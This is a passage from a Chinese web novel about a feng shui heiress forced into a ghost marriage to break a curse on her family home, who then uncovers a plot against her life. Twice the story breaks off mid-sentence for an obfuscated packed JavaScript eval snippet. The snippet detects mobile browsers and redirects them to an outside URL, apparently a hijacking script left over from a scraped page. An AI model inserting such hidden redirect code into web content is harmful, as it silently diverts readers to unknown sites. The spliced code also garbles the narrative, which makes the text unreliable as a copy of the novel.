《和鬼君的婚后日常》 1. 逆水局 大雨刚过,林知夏一脚踏碎青砖缝里渗出的水汽,指尖拂过罗盘铜面,正垂目凝思,罗盘金针突然剧烈震颤起来,黄铜的冷意顺着经络刺进太阳穴,让人不禁打了个寒颤。 挂在檐角的铜铃在暮色里开始叮当作响,望着老宅飞檐上凝结的冰凌,林知夏惊觉本该向阳的滴水檐竟然不知什么时候聚水成了冰。 农历七月,大夏天,三十七度的高温,酷暑之时,在自己家的房檐上却挂着九寸长的倒锥形冰柱—— 林知夏不信邪的环顾四周,然后发现青砖缝隙间的水珠在这时开始违背常理地逆流而上,在将落未落的残阳里凝成数道银线。 她本能的后退半步,不小心踩进了天井的积水中,顾不上疼惜刚穿不到一天的金线貔貅布鞋,眉头紧锁,脸色欠佳。 “逆水冲堂,家破人亡。”三叔公沙哑的声音从祠堂深处传来,阴沉木拐杖敲在青石板上迸出点点火星,“知夏丫头,你还要逃避到什么时候?” 长辈的喝问声如一记鼓槌砸得人心头发闷。 林知夏攥紧了掌心的桂花糖,甜腻的香气勉强压住喉头翻涌的酸涩。林家是十三代单传的风水世家,偏在她爸爸这辈断了男丁,这一代只有她一根独苗。 想到三叔公前几天和她说的那些家中秘辛,就有点心烦意乱。 正式接任家主……没问题,身为林家继承人,她愿意担起自己的责任。 但是,让她撞大运似的随机去和一个陌生的死人缔结婚姻……这对于正统风水世家出身的传人来说,真的没办法接受。 再怎么豁的出去,也不能这么随便吧! 管家福伯这时踉跄着穿过月洞门跑来,“小姐,古井、古井那边的驱邪玲……响、响了!” 驱邪玲不是普通铃铛,只有遇到煞气时才会发出响声。 林知夏只觉得今天大大的不顺,事情一桩接一桩,从雨停开始,老宅的风水气场就不对劲,大有风雨欲来之势。现在古井那边也出了问题……爷爷留下的手札上说:“井水倒灌檐铃响,是逆水局成的征兆。” 掐指一算,今天惊蛰未至,一直悬挂在古井周围梁柱上的驱邪铃却无风自动。 她不会真的那么倒霉赶上了百年难遇的逆水局吧?! 想到这里心中不由一紧,快步绕过照壁,绣着踏云麒麟的裙摆扫过青石阶上的湿苔,一边不忘回头和祠堂中的三叔公说,“三叔公,您先到东厢房坐着等我一会儿,这事咱们稍后再说!”又和管家福伯交代,“您年纪大了,别跟着我跑了,回屋歇着吧,没事别出来!” 福伯哪里放心,“我还是跟着……” 林知夏打断他,“哎呀,您就别添乱了,我一个人搞得定,您跟着等会儿万一有什么我还得顾着您!记得跟王婶钟叔他们也交代一声!” * 林家老宅有一口古井,年代久远,这口井往前可以追溯数百年。 它曾是林家整个风水局的阵眼,处处都是生机。后来不知怎么就成了死门,平时院落紧锁根本不让人靠近,也就最近多事之秋,三叔公才让福伯随时留意。 然后留意着留意着,就真的出问题了。 匆匆来到老宅深处。 林知夏脚步直接顿在院门前。 她震惊的看向院子正中的位置。 那里,井中正汩汩涌出黑水,水面漂浮的槐花瓣打着旋儿聚成了八卦图形。那尾用秘术精心养在井中二十年的红鲤此时正在半空中挣扎,鱼尾甩出的水珠悬成晶莹的弧,像定格的一幅画,很好看,却也诡异的让人胆寒。 罗盘磁针疯转三周,最终死死钉在了“坎”位。 林知夏反应过来,立时将一枚铜钱投入井中,试图中和井中煞气,然而本该清脆的落水声却像砸在了棉絮上,铜钱浮在水面转了三圈,又直立着沉入漆黑的水底。 廊下传来拐杖叩击地面的声响,满头银丝的老者踏着满地破碎的槐影走来。三叔公捧着乌木匣的手背青筋凸起,匣面密布着用朱砂绘制的封魂符咒。 “如此,三日内必见血光。”三叔公苍老的声音不紧不慢的响起,“知夏丫头,事已至此,你还要继续犟下去?” 林知夏蹙眉不语。 三叔公继续说道,“你生来就带阴阳眼,可窥阴阳两界,生而不凡,是林家这一代唯一的继承人,镇住这宅子保住林家的根是你的责任!” 林知夏嘴唇翕张,“您明知道我不愿意……况且未必就……” 三叔公枯枝般的手将托着的乌木匣往前递了递,他语气沉重,“不要抱着侥幸心理,我也不想勉强你,但林家现在只剩下你和我两个人,我一个快死的老头子就算想代替你也成不了事!知夏,留给咱们的时间不多了,今晚必须行冥婚礼,这是为了整个林家,也是为了你自己!若是你父亲还在,他同样会顾全大局!” 听他提到父亲,林知夏指尖微颤,目光扫过乌木匣,又转头死死盯住依然悬在半空的鱼,只片刻功夫,鱼鳃翕动间滴落的血水已经染红了青苔。 她说,“三叔公,逆水局既然已经成了,阴亲借兵不过是饮鸩止渴,我们还有时间,可以找到别的办法。” “放肆!”阴沉木拐杖重重杵地,惊飞梁上燕巢。三叔公深褐长袍动作间带出一小股气旋,他语气严厉,“林家祖训,凡遇逆水煞,需以家主阴婚引幽冥,知夏丫头,只怪你运气不佳,这是你的命!” *** 午夜的钟声穿透雨幕时,林知夏被迫换上了素白嫁衣,她长相秀美,漂亮温婉,即使脸色苍白,也依然不掩那份精致昳丽。 没有龙凤烛喜轿,没有婚纱捧花,只有七盏油灯在祠堂摆作北斗七星阵。 林知夏手指抚过祠堂供奉的族谱,指尖停在先祖某一女性长辈上那抹刺目的朱砂红印。凡是林家女子都必是阴命,而每一代的林家女都仿佛受到了诅咒般不得善终。 “算了!” 苦笑一声,不再纠结,林知夏拎起刀尖划过指尖,鲜红血液立即洇出。 当血珠滴入乌木匣中,犹如水入热油,供桌上的合婚庚帖突然腾起幽蓝色火焰。 “不对劲。”林知夏敏锐的察觉到不对,血入乌木匣不该是这个反应。它应该平和的,舒缓的引出某一个阴魂,双方出于利益心平气和完成仪式。而不是像现在这样火花四溅,甚至引动地脉阴气! 本能的想要伸手阻止,但不行,有道无形的屏障将她排斥在外。 林知夏不由后退半步,眼睁睁看着纸灰在半空中逐渐凝成篆体婚书,拼出的谶语为——“幽冥九转,红莲并蒂。” 婚书成,整座宅院开始剧烈摇晃,供桌上的七盏油灯倏地全部熄灭,林知夏的后颈下一瞬传来针刺般的寒意。她迅速用指尖残血在罗盘上画了道护身咒,正要继续画镇煞符,槐叶裹挟着阴风已经破窗而入。 指尖未愈的伤口处一滴血珠仿佛有了生命般顺着她的手指沟壑游走,只眨眼功夫便在指根处烙出一抹并蒂莲纹。 与此同时,沁凉的霜花顺着供桌逐渐蔓延,纸扎的童男童女突然裂开猩红嘴角,看上去可怖又诡异。 “逆水成局,阴气倒灌。” “林家女,吾娶了。” 低沉的嗓音贴着耳廓近在咫尺,供桌上的七盏油灯在此时重新燃起。 祠堂有了光亮,林知夏却不敢轻举妄动。她余光瞧见一抹玄色锦袍,暗金云纹在幽暗的油灯下泛着冥界特有的冷光,而站在她身后的大鬼又似寒冰玄铁,隔着衣衫都将她硌得脊骨生寒。 林知夏忍着后颈针刺般的寒意,反手掷出三枚五帝钱,铜钱却在触及对方袖摆时顷刻熔成金水。 林知夏:“……” “阁下可知强娶阳世女子要受业火……” 未尽的话语卡在喉间,扣住她腰肢的手苍白如雪,而她腕间垂落的红绳不知什么时候缠上了一缕银发。当那人扳过她下颌,林知夏眼神微闪。 这个鬼,长得未免太好了。 冷白色皮肤,五官俊逸棱角分明,尤其那双眼睛,瞳孔泛金,深邃迷人,一头银白长发,尤其他眉间的血色纹路平添一抹妖异……这……简直是二次元里走出来的顶级建模脸! 林知夏:“……”她自诩不是颜狗,此时也难免被晃了一下。 “以血为媒,以魂为契。” 垂落的发丝扫过她指根处的并蒂莲纹,烧灼感与他的声音同时到来:“契约已成。” 见她好似被吓到般睁大了眼,鬼君屈指轻弹,幽冥火霎时吞尽满室阴寒。林知夏此时才惊觉刚才的自己竟然汗流浃背,而此时却也干爽如新。 鬓角桂花香混着他袖间的沉水香萦绕鼻尖,林知夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237031|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到他说,“吾名晏清,娘子可要记牢了。” 晏清说着从容的打开乌木匣,无视木匣上密布的符咒,取出代表林氏家主的墨玉戒缓缓推进她的无名指。 玉髓触及肌肤的刹那,林知夏看见他瞳孔闪过鎏金暗芒。檐角铜铃在此时突然齐声轰鸣,震得梁上灰尘簌簌而落。 林知夏被吵的想要捂耳朵,鬼君相当善解人意,袍袖一挥,铜铃整齐划一全部掉落,之后就听到他说,“破逆水局需引地脉倒转。” 闻言,林知夏眼眸微亮。 宴清广袖向外轻扫,天井中悬空的水珠瞬间凝成冰凌,“明日寅时,我来教你布九星移宫阵。” 林知夏立时压下心中乱七八糟的想法,“逆水局真的可以破除?” 鬼君莞尔轻笑,指尖拂过她无名指端的并蒂莲纹,“你我结亲,若没有这等实力,为夫不就成骗婚的了?” 林知夏:“……”好尬。 该说不说,这位鬼君的手实在太冷了,比冰还冷。 她想把手抽出来,然而,没有成功。 不但手没抽出来,还被他用袖袍卷住手腕又拽近了半寸,千年寒玉般的体温透过衣料传来,激得她全身泛起细小疙瘩。 晏清俯身贴近她耳畔,呼出的寒气冻凝了她鬓边碎发,“你是否每月初七子时都昏睡不醒?” 林知夏诧异,这他都知道? 张嘴要问,祠堂大门突然从外面轰然洞开,风雨卷着拐杖砸向结界。晏清漫不经心地抬手,传承百年的阴沉木拐杖便在空中碎成齑粉,纷纷扬扬的木屑里,他身影化作青烟消散,唯有余音环绕耳畔:“油灯伤眼,以后不必点了。” 林知夏不去看匆匆进来的三叔公,只低头凝视无名指指根上的并蒂莲纹。 这应该是阴婚印记,有些阴魂比较霸道强势,会在成婚对象身上留下标记。 她的并蒂莲纹,与宴清眉间的血色纹路如出一辙。 以前翻阅古籍,林知夏看到过相关记载,说是鬼力越强,留下的印记越深,不过一般能留下米粒大小的红痣都已经算是一方大鬼了,像她指根这样颜色殷红,纹路繁琐的……那位鬼君的实力可见一斑。 ** 寅时刚过,林知夏被指间的刺痛惊醒。指根上的并蒂莲纹此时活跃异常,游动间在皮肤上烫出细密的金线。她从枕头下摸出罗盘,发现天池中的磁针正疯狂指向东北方的古井位,而针尾已经凝结出好几层霜花。 手机屏亮起,时间显示03:15。 想到宴清留下的话,林知夏从床上坐起。 窗棂外飘着濛濛细雨,有风刮过,气温降了许多,不像酷暑天,反而像要入冬时的温度。 林知夏踌躇片刻,到底是抓起搭在椅背上的外套,拿上手机出了房门。 林家老宅是处五进的院子,建在半山腰,占地面积极大,古色古香,二十年前被政府列为重点文物保护建筑,可以日常修缮,但不能推倒重建。当初装修改造,申请报告递出一份又一份,就这,老宅中还有许多地方没有通电。 现在林家人丁凋零,她爸活着时还有股鲜活气,爸爸一走,三叔公将几位师哥和大半佣人遣散出去,老宅中除了她与三叔公,只有管家福伯和厨师钟叔,还有负责卫生的王婶,赵姨,偌大的家,活人只六个,白天还好,晚上真的感觉很凄凉。 出了房门,林知夏才发现外面满地蜿蜒的冰晶,似引路的箭头,一直朝着东北方位延伸出去。 顺着冰晶一路前行,果然,将她带到了宅子深处的古井处。 “你迟了半刻钟。” 低沉的嗓音从井沿幽幽传来,林知夏吓得差点儿摔了手机,她强自镇定,抿着唇走过去,在井沿另一侧站定。 晏清半倚着青石井栏,看上去懒懒散散,却又难掩通身的气派与矜贵,玄色锦袍垂落满地,袖口的暗金云纹在月光下泛着幽蓝色泽。 他指尖燃着簇幽冥火,将井水映得如同熔化的翡翠。 两人关系尴尬,但有求于人,此时也顾不上想那么多。林知夏将罗盘按在井沿,黄铜与青石相撞发出清响,“九星移宫需借地脉生气,老宅东北位是死门,您确定要在这里布阵?” 鬼君却没有先回答她的问题,而是瞥了眼她手中突然亮起的手机,“现在的人都用这个看时辰?” 2. 九星移宫 林知夏闻言微愣,看了眼自己的手机,啊一声,“对,现在人一般都用手机看时间,比较方便。”顿了顿,觉得不够严谨,就又补充说,“当然也有喜欢用手表看时间的,看个人喜好。” “倒是有趣。”鬼君漫不经心的用火焰凝成古式滴漏的形状,“不过吾还是更喜子丑寅卯。” 林知夏:“……” 林知夏不知道怎么接话,索性闭嘴。 宴清似乎也没什么闲聊的兴致,他指着古井说,“你可知三百年前这里是处生门。” 林知夏点头,“听长辈提起过。” 宴清广袖拂过井口,井水下一瞬倒涌成镜,“看到水纹了么?每道涟漪都是地气走向。” 林知夏不得不向他靠近一些,凑近时鼻尖嗅到了对方衣襟的沉水香,混着井底苔藓的潮湿气息,倒是不难闻。 水面映出的不是倒影,而是纵横交错的金色脉络,仿佛大地的血管在皮下跳动。当她要伸手触碰时,指间代表家主身份的墨玉戒突然发出一阵蜂鸣。 “莫动。”晏清及时握住她的手腕,寒气顺着她的袖管钻进心口,“逆水局已将此处地脉改为阴枢,直接触碰会烧穿魂魄。” 林知夏心有余悸,讷讷道谢,想要抽出手,挣了挣,又没成功,反而被他带着在井沿开始画符。 林知夏:“……” 鬼君的指尖比井水更冷,划过青石时会留下荧蓝轨迹。 她也不挣扎,老实的随着他的动作画出一串串陌生符文。林知夏不是真的一点防备心都没有,只是一切都已经尘埃落定,婚契已成,再荒唐,这个大鬼也确实是她名义上的丈夫了。 总要按着他的法子破逆水局试试,不然她付出的婚约又算什么呢? “震位需埋三枚铜钱,要康熙通宝。”最后一个符文落下,鬼君松开了她已经没什么知觉的手。 他明明是鬼,却有实体,还能不用朱砂虚空画出有轨迹的蓝色符纹,就……很不科学。 好吧,他的存在本身就代表不科学。 “坎位需撒朱砂,用你的中指血调匀即可。” 林知夏说了声稍等,匆匆跑回自己的院落又匆匆回来,回来时肩上多了个帆布包,她从包里摸出个巴掌大的铁盒子,叮叮当当倒出十几枚古钱,“这些是我上个月在鬼市淘的,您看行吗?” 鬼君随手捻起一枚铜钱对着月光端详,忽然轻笑,“第一个人用这钱买了砒霜,第二个人拿来镇过棺,第三……” “停!”林知夏一把夺回铜钱塞进震位土坑,有些羞恼的抱怨,“再说下去我该做噩梦了。” 鬼君轻哂,倒也识趣的不再继续说了。 东方开始泛起鱼肚白时,林知夏按着对方的指示咬破指尖,血珠滴入朱砂的瞬间,整口古井开始剧烈震颤,井水沸腾如滚油,蒸腾的雾气里竟然浮出了密密麻麻的青铜锁链。 林知夏很震惊,“这是……?!” “当年锁龙井的残阵。”晏清弹指将幽冥火投入井中,火焰顺着锁链燃成九宫格,“林家先祖参与布设的镇河局,如今倒成了逆水局的阵眼,呵。” 听出他话中讥讽,林知夏心中的探知欲达到顶峰。 镇河局她知道,这是每个林家人都自以为傲的先祖事迹。 当年黄河水患,民不聊生,先祖联合多位风水大家费尽心力布下镇河局,保黄河两岸百姓数十年不再受水患困扰,活人无数,林家由此崛起。 怎么听这位鬼君的话中意思,有点瞧不起她老祖宗呢? 正想问,一直安安分分的罗盘却突然从她手中脱出,兀自飞向井口。这可是传家宝,哪敢让它有闪失?林知夏慌得直接扑过去一把抓住,却因为动作太刁钻被青苔滑倒,眼看要栽进沸腾的井水,腰间适时缠上一段冰绸,晏清拽着袖袍将她扯回怀里,玄色衣襟扫过鼻尖,冻得她不由打了个寒颤。 “怎的如此冒失?” 林知夏微窘,再次老实致谢。 “看仔细。”鬼君倒不计较,握着她执罗盘的手直接按向水面,肌肤隔着罗盘触上井水,立时传来轻微的刺痛感,仿佛有电流顺着血脉游走,泛起微微的痒,让人很不舒服。 林知夏想要挣开钳制,井底却在这时传来一阵金石相击之声。十八道青铜锁链齐齐崩断,井水如同被抽干的漩涡急速下沉,在最后一线水光消失前,她瞥见井底深处赫然沉着具雕满符咒的青铜棺椁! 她家的古井,沉着一具棺材……而棺盖上还镶着七枚玉璧,玉璧照着北斗七星阵排列有序,天枢位则诡异的钉着枚生锈的青铜钉! 井底沉棺,最为不详,何况是这样布了阵的棺椁…… 难怪逆水局来势汹汹,势如破竹。 诸多猜测一瞬涌入大脑,林知夏又气又恨,要不是这具棺材,逆水局可能就和往年一样平安过渡,一切如常,相应的,她也不会年纪轻轻英年早婚嫁个鬼老公…… 到底是谁这么缺德?! “破军移位,贪狼噬主。”林知夏攥紧拳头,还没等她暴怒,晏清已经将幽冥火凝成个玲珑小灯笼塞进她手里,表情再不复之前的轻松惬意,不发一言直接纵身跃入古井。 玄色衣袂翻飞如鹤羽,落地时轻盈亦无声,端的是潇洒风流。 林知夏:“……”这位鬼君属实有点霸道啊。 勉强压下心底的火气,林知夏想拿手机看时间,结果发现手机信号全无,她激灵了一下,突然意识到一个问题:这么大的动静也不知道宴清的结界管不管用,三叔公会不会听到? 想到三叔公,攥着灯笼柄的手心不由沁出些冷汗。 她并没有将宴清的邀约告知长辈,想到三叔公对宴清的厌恶和提防,林知夏有些心虚。但她本能的觉得宴清不会害自己,他对她没有恶意。况且解决逆水局是当务之急,就算三叔公生气……大不了事后去跪几天祠堂好了。 所谓开弓没有回头箭,现在属实顾不上那么多。 林知夏自我开解完,就不再去想。她将幽冥灯笼探进井中,试图照清井下的一些情况,结果先被井壁上的痕迹惊得睁大了眼。 只见入眼处映出无数的抓挠痕迹。 有些像是兽爪,更多的却是人类指骨留下的血印,最深的一道几乎抠穿青砖。 “下来。”井底传来宴清的声音,回声里混着金属摩擦声,“棺椁上有你的八字。” 林知夏闻言心口重重一跳,棺椁上有她的八字?这不扯的吗! 她将幽冥灯笼与帆布包肩带别在一起,空出手,想要手脚并用撑着井壁滑下去。然而刚踩上湿滑的井壁,指间的墨玉戒突然发烫,淡金纹路顺着血管蔓延,在皮肤表面结成个微型罗盘,将她牢牢的护持起来。 下一瞬,身体变得轻盈盈,犹如一片竹叶,悠悠然飘了下去。 这是种很玄妙的体验。 林知夏有些惊异,从不知道家主戒指还有buff加成的? 但此时不是研究墨玉戒的时候,等双脚触到井底淤泥,幽冥火灯笼清清楚楚地照出了棺椁全貌。 只是她却没心思去仔细打量棺椁,也没去看宴清口中刻有她生辰八字的地方,她视力极佳,全部的注意力都被七星玉璧中央嵌着那半枚双鱼玉佩吸引! 那玉佩是如此的眼熟! 和她随身佩戴的家传玉佩几乎一模一样,只是这枚与她的正好头尾相反。 林知夏不由摸向颈间,却摸了个空,那里不知道什么时候竟然空空如也了! “怎么会……?我明明……刚刚……” 晏清伸手按住她的肩膀。 鬼君的体温透过衣料传来,比井底的寒气更让人战栗,却也奇迹的让她冷静下来。 他沿着棺椁走一圈,突然屈指叩击棺盖,北斗第七星位置的玉璧应声脱落,露出底下暗格。当啷一声,沾着淤泥的怀表滚落在地。 林知夏立即蹲身捡起,怀表到她手中,表盖自动弹开。褪色的照片上,年轻时的父亲抱着穿红肚兜的女婴站在老宅古井旁,背景里那口古井的井沿还没有长出任何青苔痕迹。 林知夏浑身冰凉,“我爸……” 鬼君打断她,“这不是你父亲的棺椁。” 最可怕的猜测没有成真,林知夏紧绷的心弦微松。 鬼君见她露出谢天谢地的表情,微哂,直接牵着人来到棺椁侧面,指着刻字念出,“丁卯年七月初七寅时三刻。”鎏金瞳仁泛着淡淡的戏谑,“这是你的生辰棺。” 所谓生辰棺,就是生辰八字棺,只有死人的八字才可与棺木相合,活人八字入棺,和下咒咒人快死没有区别。 林知夏心情再次沉重。 她嘴唇紧抿不发一言。 这世上知道她生日是哪一天的人有很多,但精确到具体时辰的,却只有至亲中的至亲,连从小看她长大的福伯和几位师兄都不知道。 想到某种可能…… 一直失去信号的手机在这时突兀的震动起来,屏幕显示上面有十三条来自三叔公的未读消息,林知夏以为三叔公已经知道她悄摸和鬼君相会的事,有些紧张的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237032|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点开,却都是空白,直到最后一条才附着一照片,看清照片的瞬间让她血液凝固——祠堂供桌下的青铜地砖不知为何会全部翻转过来,而每块砖的背面都刻着她的名字,名字下面是用朱砂画的锁魂符。 锁魂符?! 林知夏心神俱震,都不敢信自己的眼睛! 锁魂符是邪术,可以将被施术者的灵魂禁锢在身体内,本人则如行尸走肉恍恍惚惚,无法支配自己的身体,让人生不如死。没有大恩怨的,一般很少有人用这种符,太损阴德,害人不利己。 生辰棺,锁魂符……都是想要她命的邪术…… 林知夏自认虽然不是什么大好人,但从记事起既没有没做过伤天害理的事,也没有和人结过生死大仇,况且这两种邪术外人根本不可能不声不响的办到。 这才是最骇人的地方! 想到这里,林知夏不再犹豫,转身就要从井底爬出去! 与其在这里胡思乱想瞎怀疑,不如当面问个清楚明白! 如果是她小人之心怀疑长辈,她愿意接受所有处罚! 可如果是真的…… 林知夏不敢想下去。 晏清没有拦她,反而揽住她的腰肢腾空而起。 鬼君的广袖卷着幽冥火化作火云托举着一人一鬼,宴清垂目看她,见这丫头如打了霜的茄子没精打采,抬手遮住她的双目,“闭眼。”不等林知夏反应,掌心覆上来的瞬间,无数画面瞬间强势灌入她的脑海。 她看见有同款青铜棺沉入黄河,穿着古装的老人将祖传玉佩一分为二! 她看见七日前三叔公深夜潜入祠堂…… 当双脚重新踏上地面,林知夏踉跄着扶住廊柱开始干呕——记忆倒灌,就和脑袋受到重创得了脑震荡差不多,物理冲击有点大。 好在症状并不严重。 再抬头时,古井已经被幽冥火封成冰窟,井中煞气暂时封存,那具青铜棺椁在蓝焰中若隐若现,随即再看不见。 指间的并蒂莲纹在此时如含苞待放的真花,竟徐徐绽开了一瓣,花蕊处凝着粒血珠,疼痛让她第一时间注意到了莲纹的变化。 林知夏这时才意识到这枚冥婚印记似乎不是她想象中的那么简单。 “为什么帮我?”盯着鬼君手中正在擦拭的那半枚应是从棺椁上取下的双鱼玉佩,她问出心中最大的疑惑。 “别说是因为咱们之间的契约。” 活人感情不和可以离婚,阴婚若不协同样可以一拍两散,只是过程更繁琐罢了。 在这场联姻中,她看不出他能得到什么好处,反而处处在付出帮她解决麻烦。 世上不会有无缘无故的好,这位鬼君出现的突然,搞砸了林家传承数百年的阴婚仪式,甚至李代桃僵与她完成契约。 一直没问,不代表她不在意。 林知夏自认不是什么天仙绝色,宴清这鬼也不像会行善积德做好事不求回报的善鬼,总有目的的。 晏清将擦好的玉佩攥在掌中,语气云淡风轻,“十八年前你父亲用阳寿换我承诺,保你活过二十岁生辰。”他转身时,一缕银发被晨风吹到她的肩头,“今日恰好是你二十岁生辰。” 这个回答显然出乎了林知夏的预料,“我爸……?”她身体踉跄了下,嘴唇打着哆嗦张张合合数十下才有声音勉强从口中发出:“寿、寿命,多、多少年?!” 宴清看她一眼,“自然十八年。” 林知夏腿一软,直接瘫在地上。 十八年……十八年…… 宴清啧一声,“怎么如此经不住吓……三年而已。” 林知夏:“……”我艹你八辈祖宗! 这是能开玩笑的事吗??!! 十八年和三年是同一个量数级吗???!!! 虽然三年也让她难过非常,但因为有前面的十八年的致命一击,两相比较,林知夏可耻的竟然产生一种诡异的侥幸。 幸好,不是十八年。 她爸爸去世那年还不到四十岁,林知夏倏地凝视过去,“是不是因为和你做了交易所以我爸才——” “你想多了,”鬼君目光轻嘲,“他早死要感谢林家先祖。” 林知夏正要追问,院中槐树突然无风自动,上百条红布条从枝头垂落。林知夏认出这些都是往年中元节系上的往生幡,此刻这些往生幡却井然有序的拼成个巨大的“祭”字。 手机再次震动,三叔公发来一段视频,视频里,那具本该被封在井底的青铜棺,竟赫然躺在了祠堂供桌之上! 3. 血祭生桩 棺椁……是怎么移过去的? 那真的是她刚刚看到的同一具青铜棺? 林知夏不敢肯定,她看向宴清,宴清仿佛看出她心中疑虑,肯定颔首,“是同一具棺椁,”他略做沉吟,“应是用了某种搬运术。” 搬运术? 林知夏不由想起三叔公在鲁班术上的高超造诣。 真的……是他吗?! 可原因呢?目的呢?逆水局不止伤她,也伤他啊! 他们同气连枝,林家血脉到现在只剩下他和她两个人,他们是至亲,他看着她爸爸长大,看着她长大,从小对她疼爱有加,在爸爸弥留之际,更是承诺要看护她担起家业。 现在,这位唯一的至亲长辈却要谋算她的命,甚至发短信发视频过来,大张旗鼓的告诉她:对,没错,我在算计你,我要你的命! 她的命……有多稀罕吗! 晨雾裹着槐花簌簌落在青砖上,林知夏盯着视频里青铜棺上凝结的冰霜,指节攥得发白。 祠堂供桌的烛火本该是暖黄色,此刻却泛着诡异的青白,将棺椁表面的饕餮纹映得如同活物。 视频最后停在祠堂樟木门轰然闭合的画面。 手机随即黑屏。 林知夏心乱如麻,事到如今,她只能先将爸爸的事压下回头再细问,解决眼前事才最要紧。 要彻底破逆水局,显然必须要解决青铜棺。现在青铜棺出现在了祠堂,她是务必要去见一见三叔公了。 相比于林知夏的复杂心绪,宴清看上去对这些倒不怎么惊讶,见她从地上站起来抬腿就要走,伸手将人拦下,“血祭阵已开,你这样横冲直撞与送死何异?” 林知夏:“我虽然比不上鬼君实力强悍,但也不是一无是处的花架子,血祭阵拦不住我。” 宴清:“你我是夫妻,我又收了你父亲的报酬,娘子是想让为夫光拿酬劳不办事?” 林知夏:“……” 林知夏一记眼刀直接甩过去,“鬼君也知道是拿了酬劳,我爸爸有要求你娶我吗?” 宴清:“我若不娶,岂不是让冥府其他男鬼得了便宜?要知你与他们定下婚契,不出十日你就死了。” 林知夏睁大眼,“不可能!” 宴清哂笑,“为何林家每每有女子出生都不得善终,你真的没想过吗?” 林知夏心里咯噔。 宴清却不继续说了,他弹指点燃一簇幽冥火,刚刚消失的幽冥灯笼凝成现代手电筒的形状重新回到林知夏手上。 林知夏:“……” 宴清:“随身携带,可抵阴煞入体,拿着吧,别任性。” 林知夏见他这样,知道这个话题被单方面结束了。她心里疑团越来越多,但事情只能一件一件解决。 不能急。 不能乱。 林知夏深呼吸,将“手电筒”放进帆布背包里收好,鬼君似想到什么,忽而轻笑,“稍后我隐匿身形跟在你身后,咱们一明一暗,关键时候打你三叔公一个措手不及。” 他语气轻松,但话中意思很明确,直接给三叔公定了罪,这让林知夏原本就糟糕至极的心情更加雪上加霜。 他好像什么都知道,就是不说。 气死个人! “小姐,老太爷在祠堂等您。”福伯佝偻着背从月洞门中转出来,平时板正干净的灰布衫下摆上不知道从哪儿沾上了纸钱灰,脸上表情一丝不苟,严肃,却没了平时对她的亲和慈爱。 林知夏心里有点受伤,只是一天一夜的功夫,对她好的人好像都变了张面孔,陌生的让人心底发寒。 宴清已经不见踪影,将手机揣进外套口袋,林知夏下意识碰了碰无名指上的墨玉戒,冰凉的触感让她想起昨天晚上扣住自己腰肢的那只手,心中刚刚升起的动摇瞬时消失无踪。 “知道了,”林知夏语气淡淡,“劳烦您告诉三叔公,我换件衣裳就来。” 福伯恭敬的说,“老太爷让您立刻过去。” 林知夏的怒火在此时达到了新的顶峰,她呵笑一声,“行,我去!” 两人一前一后,绕过影壁时,林知夏蓦地停住脚步。垂花门两侧的抱鼓石上,本该镇宅的貔貅浮雕此时竟然渗出了暗红血珠,石雕眼窝里蓄着两汪浑浊液体,被晨风一吹便顺着纹路淌成符咒模样。 “血泪镇煞……”林知夏一点犹豫没有,直接掏出罗盘拍到石狮头顶,磁针在坎位疯狂震颤,只一瞬,石雕就恢复了原状。 她还没死呢,用邪术镇谁的煞! ** 祠堂正厅八仙桌上搁着碗冒着热气的桂圆茶,三叔公新换的阴沉木拐杖斜倚在太师椅旁。老人用长柄铜勺搅动着茶汤,浑浊眼珠盯着浮沉的枸杞:“当年你爸执意要娶外姓女子,我就说过要招祸。” 林知夏立在门槛外,眼睛扫过那具不容人忽视的青铜棺椁,檐角露水顺着瓦当滴在颈后,她回过神,摸出颗桂花糖含在舌尖,甜味压住喉间苦涩,“之前您可没说过我爸妈不好,您要训话,等破了逆水局……” “放肆!” 铜勺重重砸在青花瓷碗沿,汤水溅上族谱封皮。三叔公颤巍巍展开泛黄的宣纸,朱砂勾画的族谱上,林知夏妈妈的名字正在以肉眼可见的速度褪色。 林知夏看清之后瞳孔骤缩,她扶住门框,指甲在漆木上划出三道白痕,“三叔公,您做了什么?” “林家宗女需以纯阴命格镇宅,你母亲当年难产本就是天意。”三叔公枯槁的手指拂过族谱,褪色的名字瞬间被新墨覆盖,“现在你既然继承了家主位,就该断了这些俗世牵挂。” 林知夏气愤,“您说断俗世牵挂,昨天晚上为什么还让我和冥府结成婚契?!结婚就不是俗世牵挂了吗?!我妈都死多少年了,现在翻旧账有意思吗?有本事您把我的婚契破掉啊!” “跪下!”三叔公大怒,“要不是婚契出了问题,不知道从哪冒出来个野鬼捷足先登,我何必大费周章!” 林知夏冷笑,“所以要不是百密一疏,我可能已经傻乎乎被你弄死了是不是?!” 话落,后颈突然传来针刺般的寒意,林知夏猛地转身,正对上福伯空洞的双眼。老人手里端着描金漆盘,盘中一枚玉佩,一个红绸。 玉佩是她不知道什么时候丢了的那半枚双鱼佩!红绸下盖着的物件则渗出浓重血腥气! “小姐,喝药吧。”福伯的嗓音像是被人掐着脖子挤出来的,满是沧桑的大手掀开红绸,青玉碗中盛着黑红粘稠的液体,“喝了就能见着夫人了。” 林知夏拧着眉心倒退半步,眼角余光一闪,倏地看到福伯左右手腕上刻着的符咒,那是鲁班书里记载的傀儡术——三叔公竟然用槐木傀儡符操控了福伯! 